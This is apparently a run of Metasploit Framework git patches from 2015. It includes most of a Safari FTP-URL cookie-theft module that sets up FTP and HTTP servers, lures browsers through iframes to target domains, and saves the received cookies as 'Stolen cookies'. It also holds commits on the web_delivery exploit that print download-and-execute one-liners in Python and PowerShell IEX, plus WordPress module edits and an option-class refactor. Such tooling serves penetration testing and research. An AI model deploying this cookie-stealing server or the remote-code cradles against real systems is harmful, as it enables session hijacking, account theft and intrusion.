::Rex::Socket::Comm::Local + else + comm = nil + end + + # Default the server host / port + opts = { + 'ServerHost' => datastore['SRVHOST'], + 'ServerPort' => datastore['HTTPPORT'], + 'Comm' => comm + }.update(opts) + + # Start a new HTTP server + @http_service = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + opts['ServerPort'].to_i, + opts['ServerHost'], + datastore['SSL'], + { + 'Msf' => framework, + 'MsfExploit' => self, + }, + opts['Comm'], + datastore['SSLCert'] + ) + + @http_service.server_name = datastore['HTTP::server_name'] + + # Default the procedure of the URI to on_request_uri if one isn't + # provided. + uopts = { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + }.update(opts['Uri'] || {}) + + proto = (datastore["SSL"] ? "https" : "http") + print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") + + if (opts['ServerHost'] == '0.0.0.0') + print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") + end + + # Add path to resource + @service_path = uopts['Path'] + @http_service.add_resource(uopts['Path'], uopts) + + # As long as we have the http_service object, we will keep the ftp server alive + while @http_service + select(nil, nil, nil, 1) + end + end + + # + # Lookup the right address for the client + # + def lookup_lhost(c=nil) + # Get the source address + if datastore['SRVHOST'] == '0.0.0.0' + Rex::Socket.source_address( c || '50.50.50.50') + else + datastore['SRVHOST'] + end + end + + # + # Handle the FTP RETR request. This is where we transfer our actual malicious payload + # + def on_client_command_retr(c, arg) + conn = establish_data_connection(c) + if not conn + c.put("425 can't build data connection\r\n") + return + end + + print_status("Connection for file transfer accepted") + c.put("150 Connection accepted\r\n") + + # Send out payload + conn.put(exploit_html) + c.put("226 Transfer complete.\r\n") + conn.close + end + + # + # Kill HTTP/FTP (shut them down and clear resources) + # + def cleanup + super + + # Kill FTP + stop_service() + + # clear my resource, deregister ref, stop/close the HTTP socket + begin + @http_service.remove_resource(datastore['URIPATH']) + @http_service.deref + @http_service.stop + @http_service.close + @http_service = nil + rescue + end + end + + + # + # Ensures that gzip can be used. If not, an exception is generated. The + # exception is only raised if the DisableGzip advanced option has not been + # set. + # + def use_zlib + if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true) + fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!") + end + end + + + # + # Returns the configured (or random, if not configured) URI path + # + def resource_uri + path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8+rand(8)) + path = '/' + path if path !~ /^\// + datastore['URIPATH'] = path + path + end + + + # + # Handle HTTP requets and responses + # + def on_request_uri(cli, request) + if request.method.downcase == 'post' + json = JSON.parse(request.body) + domain = json['domain'] + cookie = Rex::Text.decode_base64(json['p']).to_s + if cookie.length == 0 + print_error "#{cli.peerhost}: No cookies found for #{domain}" + else + file = store_loot( + "cookie_#{domain}", "text/plain", cli.peerhost, cookie, 'cookie', "Stolen cookies" + ) + print_good "#{cli.peerhost}: Cookies stolen for #{domain} (#{cookie.bytes.length} bytes): " + print_good file + end + send_response(cli, 200, 'OK', '') + else + domains = datastore['TARGET_DOMAINS'].split(',') + iframes = domains.map do |domain| + %Q|| + end + + html = <<-HTML + + + #{iframes.join} + + + HTML + + send_response(cli, 200, 'OK', html) + end + end + + # + # Create an HTTP response and then send it + # + def send_response(cli, code, message='OK', html='') + proto = Rex::Proto::Http::DefaultProtocol + res = Rex::Proto::Http::Response.new(code, message, proto) + res['Content-Type'] = 'text/html' + res.body = html + + cli.send_response(res) + end + + def exploit_html + <<-HTML + + + + HTML + end + + def grab_key + @grab_key ||= Rex::Text.rand_text_alphanumeric(8) + end + +end From 8c0bcd2e03c1443477de7b5f153e2ab940ce5d67 Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Sun, 19 Apr 2015 16:32:57 -0500 Subject: [PATCH 69/92] Update wordpress_cp_calendar_sqli.rb Use the new WPVDB --- modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb b/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb index 339458280d..7759aa87c1 100644 --- a/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb +++ b/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb @@ -27,7 +27,8 @@ class Metasploit4 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'EDB', '36243'] + [ 'EDB', '36243'], + [ 'WPVDB', '7910' ] ], 'DisclosureDate' => 'Mar 03 2015')) From 668961b69d37cc30db4f13e7d73302c2634d669f Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Mon, 20 Apr 2015 00:06:59 +0200 Subject: [PATCH 70/92] fix some yarddoc issues --- lib/msf/core/exploit.rb | 2 +- lib/msf/core/payload/uuid.rb | 14 +++++++------- lib/msf/java/rmi/client/jmx/connection/builder.rb | 6 ++---- lib/msf/java/rmi/util.rb | 1 - 4 files changed, 10 insertions(+), 13 deletions(-) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 323b40f5c3..028c792fe8 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1224,7 +1224,7 @@ class Exploit < Msf::Module # @param reason [String] A constant from Msf::Module::Failure. # If the reason does not come from there, then it will default to # Msf::Module::Failure::Unknown. - # @param mssg [String] (Optional) A message about the failure. + # @param msg [String] (Optional) A message about the failure. # @raise [Msf::Exploit::Failed] A custom Msf::Exploit::Failed exception. # @return [void] # @see Msf::Module::Failure diff --git a/lib/msf/core/payload/uuid.rb b/lib/msf/core/payload/uuid.rb index 18146eb4c7..81be408cca 100644 --- a/lib/msf/core/payload/uuid.rb +++ b/lib/msf/core/payload/uuid.rb @@ -86,13 +86,13 @@ class Msf::Payload::UUID # # Generate a raw 16-byte payload UUID given a seed, platform, architecture, and timestamp # - # @options opts [String] :seed An optional string to use for generated the unique payload ID, deterministic - # @options opts [String] :puid An optional 8-byte string to use as the unique payload ID - # @options opts [String] :arch The hardware architecture for this payload - # @options opts [String] :platform The operating system platform for this payload - # @options opts [String] :timestamp The timestamp in UTC Unix epoch format - # @options opts [Fixnum] :xor1 An optional 8-bit XOR ID for obfuscation - # @options opts [Fixnum] :xor2 An optional 8-bit XOR ID for obfuscation + # @option opts [String] :seed An optional string to use for generated the unique payload ID, deterministic + # @option opts [String] :puid An optional 8-byte string to use as the unique payload ID + # @option opts [String] :arch The hardware architecture for this payload + # @option opts [String] :platform The operating system platform for this payload + # @option opts [String] :timestamp The timestamp in UTC Unix epoch format + # @option opts [Fixnum] :xor1 An optional 8-bit XOR ID for obfuscation + # @option opts [Fixnum] :xor2 An optional 8-bit XOR ID for obfuscation # @return [String] The encoded payoad UUID as a binary string # def self.generate_raw(opts={}) diff --git a/lib/msf/java/rmi/client/jmx/connection/builder.rb b/lib/msf/java/rmi/client/jmx/connection/builder.rb index b3c9817e3b..f9a2e26a19 100644 --- a/lib/msf/java/rmi/client/jmx/connection/builder.rb +++ b/lib/msf/java/rmi/client/jmx/connection/builder.rb @@ -41,8 +41,7 @@ module Msf # Builds an an array of arguments o build a call to # javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance() # - # @param opts [Hash] - # @option opts [String] :name the MBean name + # @param name [String] the MBean name # @return [Array] def build_jmx_get_object_instance_args(name = '') builder = Rex::Java::Serialization::Builder.new @@ -97,8 +96,7 @@ module Msf # Builds an an array of arguments o build a call to # javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean() # - # @param opts [Hash] - # @option opts [String] :name the MBean name + # @param name [Hash] the MBean name # @return [Array] def build_jmx_create_mbean_args(name = '') arguments = [ diff --git a/lib/msf/java/rmi/util.rb b/lib/msf/java/rmi/util.rb index 61e70c8238..8be7f69638 100644 --- a/lib/msf/java/rmi/util.rb +++ b/lib/msf/java/rmi/util.rb @@ -22,7 +22,6 @@ module Msf # Calculates an interface hash to make RMI calls as defined by the JDK 1.1 # # @param methods [Array] set of method names and their descriptors - # @param exceptions [Array] set of declared exceptions # @return [Fixnum] The interface hash # @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how interface hashes are calculated def calculate_interface_hash(methods) From 1a32cf7fc0c9b1fb6b8499170d68fd7e08bf0335 Mon Sep 17 00:00:00 2001 From: aushack Date: Mon, 20 Apr 2015 16:48:35 +1000 Subject: [PATCH 71/92] Change module wording to conform with other WP modules. --- modules/exploits/unix/webapp/wp_platform_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/wp_platform_exec.rb b/modules/exploits/unix/webapp/wp_platform_exec.rb index d07cffb154..6440e24312 100644 --- a/modules/exploits/unix/webapp/wp_platform_exec.rb +++ b/modules/exploits/unix/webapp/wp_platform_exec.rb @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info( info, - 'Name' => 'Remote Code Execution in WordPress Platform Theme', + 'Name' => 'WordPress Platform Theme File Upload Vulnerability', 'Description' => %q{ The WordPress Theme "platform" contains a remote code execution vulnerability through an unchecked admin_init call. The theme includes the uploaded file From aa4f91380050d0b3f4aa426da8b271dc9b26fe99 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 20 Apr 2015 09:37:12 +0100 Subject: [PATCH 72/92] Resolves #5199 Fix Powershell namespace in web_delivery module --- modules/exploits/multi/script/web_delivery.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb index 5775bc3ddc..d2235137d6 100644 --- a/modules/exploits/multi/script/web_delivery.rb +++ b/modules/exploits/multi/script/web_delivery.rb @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote when 'Python' print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"") when 'PSH' - ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate if ssl + ignore_cert = Rex:::Powershell::PshMethods.ignore_ssl_certificate if ssl download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))" print_line generate_psh_command_line( noprofile: true, From eb1c01417aca178033e6d5ce3fbad849d12c0dcf Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 20 Apr 2015 11:00:26 +0100 Subject: [PATCH 73/92] Bogus : --- modules/exploits/multi/script/web_delivery.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb index d2235137d6..3af27cedd8 100644 --- a/modules/exploits/multi/script/web_delivery.rb +++ b/modules/exploits/multi/script/web_delivery.rb @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote when 'Python' print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"") when 'PSH' - ignore_cert = Rex:::Powershell::PshMethods.ignore_ssl_certificate if ssl + ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))" print_line generate_psh_command_line( noprofile: true, From 16daa935ddc19e9dc4f1f25620285ebfeae70f0d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 20 Apr 2015 13:08:51 -0500 Subject: [PATCH 74/92] Do minor code cleanup --- .../apple_safari_ftp_url_cookie_theft.rb | 30 +++++++++---------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb index 00d13e0fab..2a2e4e90d5 100644 --- a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb +++ b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info={}) super(update_info(info, - 'Name' => "Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft", + 'Name' => 'Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft', 'Description' => %q{ A vulnerability exists in versions of OSX/iOS/Windows Safari released before April 8, 2015 that allows the non-HTTPOnly cookies of any @@ -31,16 +31,16 @@ class Metasploit3 < Msf::Auxiliary 'Actions' => [ [ 'WebServer' ] ], 'PassiveActions' => [ 'WebServer' ], 'DefaultAction' => 'WebServer', - 'DisclosureDate' => "Apr 8 2015" + 'DisclosureDate' => 'Apr 8 2015' )) register_options([ - OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']), - OptPort.new('SRVPORT', [true, "The local port to use for the FTP server", 5555 ]), - OptPort.new('HTTPPORT', [true, "The HTTP server port", 8080]), + OptString.new('URIPATH', [false, 'The URI to use for this exploit (default is random)']), + OptPort.new('SRVPORT', [true, 'The local port to use for the FTP server', 5555 ]), + OptPort.new('HTTPPORT', [true, 'The HTTP server port', 8080]), OptString.new('TARGET_DOMAINS', [ true, - "The comma-separated list of domains to steal non-HTTPOnly cookies from.", + 'The comma-separated list of domains to steal non-HTTPOnly cookies from.', 'apple.com,example.com' ]) ], self.class ) @@ -48,7 +48,7 @@ class Metasploit3 < Msf::Auxiliary # - # Start the FTP aand HTTP server + # Start the FTP and HTTP server # def run start_service @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary # - # Handle the HTTP request and return a response. Code borrorwed from: + # Handle the HTTP request and return a response. Code borrowed from: # msf/core/exploit/http/server.rb # def start_http(opts={}) @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary use_zlib comm = datastore['ListenerComm'] - if (comm.to_s == "local") + if (comm.to_s == 'local') comm = ::Rex::Socket::Comm::Local else comm = nil @@ -104,7 +104,7 @@ class Metasploit3 < Msf::Auxiliary 'Path' => resource_uri }.update(opts['Uri'] || {}) - proto = (datastore["SSL"] ? "https" : "http") + proto = (datastore['SSL'] ? 'https' : 'http') print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") if (opts['ServerHost'] == '0.0.0.0') @@ -179,7 +179,7 @@ class Metasploit3 < Msf::Auxiliary # set. # def use_zlib - if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true) + unless Rex::Text.zlib_present? || datastore['HTTP::compression'] == false fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!") end end @@ -205,13 +205,13 @@ class Metasploit3 < Msf::Auxiliary domain = json['domain'] cookie = Rex::Text.decode_base64(json['p']).to_s if cookie.length == 0 - print_error "#{cli.peerhost}: No cookies found for #{domain}" + print_error("#{cli.peerhost}: No cookies found for #{domain}") else file = store_loot( - "cookie_#{domain}", "text/plain", cli.peerhost, cookie, 'cookie', "Stolen cookies" + "cookie_#{domain}", 'text/plain', cli.peerhost, cookie, 'cookie', 'Stolen cookies' ) - print_good "#{cli.peerhost}: Cookies stolen for #{domain} (#{cookie.bytes.length} bytes): " - print_good file + print_good("#{cli.peerhost}: Cookies stolen for #{domain} (#{cookie.bytes.length} bytes): ") + print_good(file) end send_response(cli, 200, 'OK', '') else From 69b8edda4a3a13ca0c84d59f593d9f48370c5407 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 20 Apr 2015 14:53:38 -0500 Subject: [PATCH 75/92] Use single quotes --- modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb index 2a2e4e90d5..d91daf407d 100644 --- a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb +++ b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb @@ -143,7 +143,7 @@ class Metasploit3 < Msf::Auxiliary return end - print_status("Connection for file transfer accepted") + print_status('Connection for file transfer accepted') c.put("150 Connection accepted\r\n") # Send out payload From 0283ac05e5a5b5080206beb7248d702cdb8f4df1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 20 Apr 2015 14:54:39 -0500 Subject: [PATCH 76/92] Do minor style fixes --- .../auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb index d91daf407d..20cbc88e51 100644 --- a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb +++ b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb @@ -107,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary proto = (datastore['SSL'] ? 'https' : 'http') print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") - if (opts['ServerHost'] == '0.0.0.0') + if opts['ServerHost'] == '0.0.0.0' print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") end @@ -138,7 +138,7 @@ class Metasploit3 < Msf::Auxiliary # def on_client_command_retr(c, arg) conn = establish_data_connection(c) - if not conn + unless conn c.put("425 can't build data connection\r\n") return end @@ -159,7 +159,7 @@ class Metasploit3 < Msf::Auxiliary super # Kill FTP - stop_service() + stop_service # clear my resource, deregister ref, stop/close the HTTP socket begin From c1234e05e24ae1de61d0b22e3e2bfc64053112dd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 20 Apr 2015 14:56:37 -0500 Subject: [PATCH 77/92] Delete parenthesis from condition --- modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb index 20cbc88e51..1c5cf0ee8a 100644 --- a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb +++ b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary use_zlib comm = datastore['ListenerComm'] - if (comm.to_s == 'local') + if comm.to_s == 'local' comm = ::Rex::Socket::Comm::Local else comm = nil From dc0549d2dd6dd5665228f015fd34d9e4c58a0a16 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 20 Apr 2015 15:06:01 -0500 Subject: [PATCH 78/92] Use #wait --- .../auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb index 1c5cf0ee8a..e79d35203c 100644 --- a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb +++ b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb @@ -54,6 +54,7 @@ class Metasploit3 < Msf::Auxiliary start_service print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}") start_http + @http_service.wait end @@ -114,11 +115,6 @@ class Metasploit3 < Msf::Auxiliary # Add path to resource @service_path = uopts['Path'] @http_service.add_resource(uopts['Path'], uopts) - - # As long as we have the http_service object, we will keep the ftp server alive - while @http_service - select(nil, nil, nil, 1) - end end # From 88c52ae7ae8d7ab3855b37b42bf006265271c17e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 20 Apr 2015 15:13:11 -0500 Subject: [PATCH 79/92] Delete second stop_service, the mixin should had done the job --- modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb index e79d35203c..f7c4a56f62 100644 --- a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb +++ b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb @@ -154,9 +154,6 @@ class Metasploit3 < Msf::Auxiliary def cleanup super - # Kill FTP - stop_service - # clear my resource, deregister ref, stop/close the HTTP socket begin @http_service.remove_resource(datastore['URIPATH']) From e2eaff6b3a506dcdc2e8bee960ad1507d6d2f2fd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 20 Apr 2015 15:16:21 -0500 Subject: [PATCH 80/92] Don't modify datastore options --- .../gather/apple_safari_ftp_url_cookie_theft.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb index f7c4a56f62..777677cdc0 100644 --- a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb +++ b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb @@ -156,7 +156,7 @@ class Metasploit3 < Msf::Auxiliary # clear my resource, deregister ref, stop/close the HTTP socket begin - @http_service.remove_resource(datastore['URIPATH']) + @http_service.remove_resource(@uri_path) @http_service.deref @http_service.stop @http_service.close @@ -182,10 +182,11 @@ class Metasploit3 < Msf::Auxiliary # Returns the configured (or random, if not configured) URI path # def resource_uri - path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8+rand(8)) - path = '/' + path if path !~ /^\// - datastore['URIPATH'] = path - path + return @uri_path if @uri_path + + @uri_path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8+rand(8)) + @uri_path = '/' + @uri_path if @uri_path !~ /^\// + @uri_path end From 3a5af3939db4c830556ba428fe8163c480e5cfb1 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 3 Nov 2014 16:20:21 -0600 Subject: [PATCH 81/92] Split all the option classes into their own files --- lib/msf/core/module.rb | 2 + lib/msf/core/opt.rb | 66 ++ lib/msf/core/opt_address.rb | 37 + lib/msf/core/opt_address_range.rb | 51 + lib/msf/core/opt_base.rb | 179 +++ lib/msf/core/opt_bool.rb | 48 + lib/msf/core/opt_enum.rb | 48 + lib/msf/core/opt_int.rb | 35 + lib/msf/core/opt_path.rb | 44 + lib/msf/core/opt_port.rb | 31 + lib/msf/core/opt_raw.rb | 34 + lib/msf/core/opt_regexp.rb | 46 + lib/msf/core/opt_string.rb | 34 + lib/msf/core/option_container.rb | 1009 ++++------------- .../{options => }/opt_address_range_spec.rb | 0 .../core/{options => }/opt_address_spec.rb | 0 .../msf/core/{options => }/opt_bool_spec.rb | 0 .../msf/core/{options => }/opt_enum_spec.rb | 0 .../msf/core/{options => }/opt_int_spec.rb | 0 .../msf/core/{options => }/opt_path_spec.rb | 0 .../msf/core/{options => }/opt_port_spec.rb | 0 .../msf/core/{options => }/opt_raw_spec.rb | 0 .../msf/core/{options => }/opt_regexp_spec.rb | 0 23 files changed, 870 insertions(+), 794 deletions(-) create mode 100644 lib/msf/core/opt.rb create mode 100644 lib/msf/core/opt_address.rb create mode 100644 lib/msf/core/opt_address_range.rb create mode 100644 lib/msf/core/opt_base.rb create mode 100644 lib/msf/core/opt_bool.rb create mode 100644 lib/msf/core/opt_enum.rb create mode 100644 lib/msf/core/opt_int.rb create mode 100644 lib/msf/core/opt_path.rb create mode 100644 lib/msf/core/opt_port.rb create mode 100644 lib/msf/core/opt_raw.rb create mode 100644 lib/msf/core/opt_regexp.rb create mode 100644 lib/msf/core/opt_string.rb rename spec/lib/msf/core/{options => }/opt_address_range_spec.rb (100%) rename spec/lib/msf/core/{options => }/opt_address_spec.rb (100%) rename spec/lib/msf/core/{options => }/opt_bool_spec.rb (100%) rename spec/lib/msf/core/{options => }/opt_enum_spec.rb (100%) rename spec/lib/msf/core/{options => }/opt_int_spec.rb (100%) rename spec/lib/msf/core/{options => }/opt_path_spec.rb (100%) rename spec/lib/msf/core/{options => }/opt_port_spec.rb (100%) rename spec/lib/msf/core/{options => }/opt_raw_spec.rb (100%) rename spec/lib/msf/core/{options => }/opt_regexp_spec.rb (100%) diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index de3320f4a1..7fb958617b 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -3,6 +3,8 @@ require 'msf/core' module Msf + autoload :OptionContainer, 'msf/core/option_container' + ### # # The module base class is responsible for providing the common interface diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb new file mode 100644 index 0000000000..2adf9b117e --- /dev/null +++ b/lib/msf/core/opt.rb @@ -0,0 +1,66 @@ +# -*- coding: binary -*- + +module Msf + +### +# +# The core supported option types are: +# +# OptString - Multi-byte character string +# OptRaw - Multi-byte raw string +# OptBool - Boolean true or false indication +# OptPort - TCP/UDP service port +# OptAddress - IP address or hostname +# OptPath - Path name on disk or an Object ID +# OptInt - An integer value +# OptEnum - Select from a set of valid values +# OptAddressRange - A subnet or range of addresses +# OptSession - A session identifier +# OptRegexp - Valid Ruby regular expression +# +### + +# +# Builtin framework options with shortcut methods +# +module Opt + +@@builtin_opts = + { + 'RHOST' => [ Msf::OptAddress, 'nil', true, '"The target address"' ], + 'RPORT' => [ Msf::OptPort, 'nil', true, '"The target port"' ], + 'LHOST' => [ Msf::OptAddress, 'nil', true, '"The listen address"' ], + 'LPORT' => [ Msf::OptPort, 'nil', true, '"The listen port"' ], + 'CPORT' => [ Msf::OptPort, 'nil', false, '"The local client port"' ], + 'CHOST' => [ Msf::OptAddress, 'nil', false, '"The local client address"' ], + 'Proxies' => [ Msf::OptString, 'nil', 'false', '"A proxy chain of format type:host:port[,type:host:port][...]"'] + } + +# +# Build the builtin_xyz methods on the fly using the type information for each +# of the builtin framework options, such as RHOST. +# +class < e + raise("Invalid Regex #{regex_temp}: #{e}") + end + end + end + + # + # Returns true if this is a required option. + # + def required? + return required + end + + # + # Returns true if this is an advanced option. + # + def advanced? + return advanced + end + + # + # Returns true if this is an evasion option. + # + def evasion? + return evasion + end + + # + # Returns true if the supplied type is equivalent to this option's type. + # + def type?(in_type) + return (type == in_type) + end + + # + # If it's required and the value is nil or empty, then it's not valid. + # + def valid?(value) + if required? + # required variable not set + return false if (value == nil or value.to_s.empty?) + end + if regex + if value.match(regex) + return true + else + return false + end + end + return true + end + + # + # Returns true if the value supplied is nil and it's required to be + # a valid value + # + def empty_required_value?(value) + return (required? and value.nil?) + end + + # + # Normalizes the supplied value to conform with the type that the option is + # conveying. + # + def normalize(value) + value + end + + # + # Returns a string representing a user-friendly display of the chosen value + # + def display_value(value) + value.to_s + end + + # + # The name of the option. + # + attr_reader :name + # + # Whether or not the option is required. + # + attr_reader :required + # + # The description of the option. + # + attr_reader :desc + # + # The default value of the option. + # + attr_reader :default + # + # Storing the name of the option. + # + attr_writer :name + # + # Whether or not this is an advanced option. + # + attr_accessor :advanced + # + # Whether or not this is an evasion option. + # + attr_accessor :evasion + # + # The module or entity that owns this option. + # + attr_accessor :owner + # + # The list of potential valid values + # + attr_accessor :enums + # + # A optional regex to validate the option value + # + attr_accessor :regex + + protected + + attr_writer :required, :desc, :default # :nodoc: + end + +end + diff --git a/lib/msf/core/opt_bool.rb b/lib/msf/core/opt_bool.rb new file mode 100644 index 0000000000..eccb11f697 --- /dev/null +++ b/lib/msf/core/opt_bool.rb @@ -0,0 +1,48 @@ +# -*- coding: binary -*- + +module Msf + +### +# +# Boolean option. +# +### +class OptBool < OptBase + + TrueRegex = /^(y|yes|t|1|true)$/i + + def type + return 'bool' + end + + def valid?(value) + return false if empty_required_value?(value) + + if ((value != nil and + (value.to_s.empty? == false) and + (value.to_s.match(/^(y|yes|n|no|t|f|0|1|true|false)$/i) == nil))) + return false + end + + true + end + + def normalize(value) + if(value.nil? or value.to_s.match(TrueRegex).nil?) + false + else + true + end + end + + def is_true?(value) + return normalize(value) + end + + def is_false?(value) + return !is_true?(value) + end + +end + +end diff --git a/lib/msf/core/opt_enum.rb b/lib/msf/core/opt_enum.rb new file mode 100644 index 0000000000..74fdbe1c27 --- /dev/null +++ b/lib/msf/core/opt_enum.rb @@ -0,0 +1,48 @@ +# -*- coding: binary -*- + +module Msf + +### +# +# Enum option. +# +### +class OptEnum < OptBase + + def type + return 'enum' + end + + def valid?(value=self.value) + return false if empty_required_value?(value) + return true if value.nil? and !required? + + (value and self.enums.include?(value.to_s)) + end + + def normalize(value=self.value) + return nil if not self.valid?(value) + return value.to_s + end + + def desc=(value) + self.desc_string = value + + self.desc + end + + def desc + if self.enums + str = self.enums.join(', ') + end + "#{self.desc_string || ''} (accepted: #{str})" + end + + +protected + + attr_accessor :desc_string # :nodoc: + +end + +end diff --git a/lib/msf/core/opt_int.rb b/lib/msf/core/opt_int.rb new file mode 100644 index 0000000000..bf0b451c69 --- /dev/null +++ b/lib/msf/core/opt_int.rb @@ -0,0 +1,35 @@ +# -*- coding: binary -*- + +module Msf + +### +# +# Integer option. +# +### +class OptInt < OptBase + def type + return 'integer' + end + + def normalize(value) + if (value.to_s.match(/^0x[a-fA-F\d]+$/)) + value.to_i(16) + else + value.to_i + end + end + + def valid?(value) + return super if !required? and value.to_s.empty? + return false if empty_required_value?(value) + + if value and not value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/) + return false + end + + return super + end +end + +end diff --git a/lib/msf/core/opt_path.rb b/lib/msf/core/opt_path.rb new file mode 100644 index 0000000000..6a40d48fef --- /dev/null +++ b/lib/msf/core/opt_path.rb 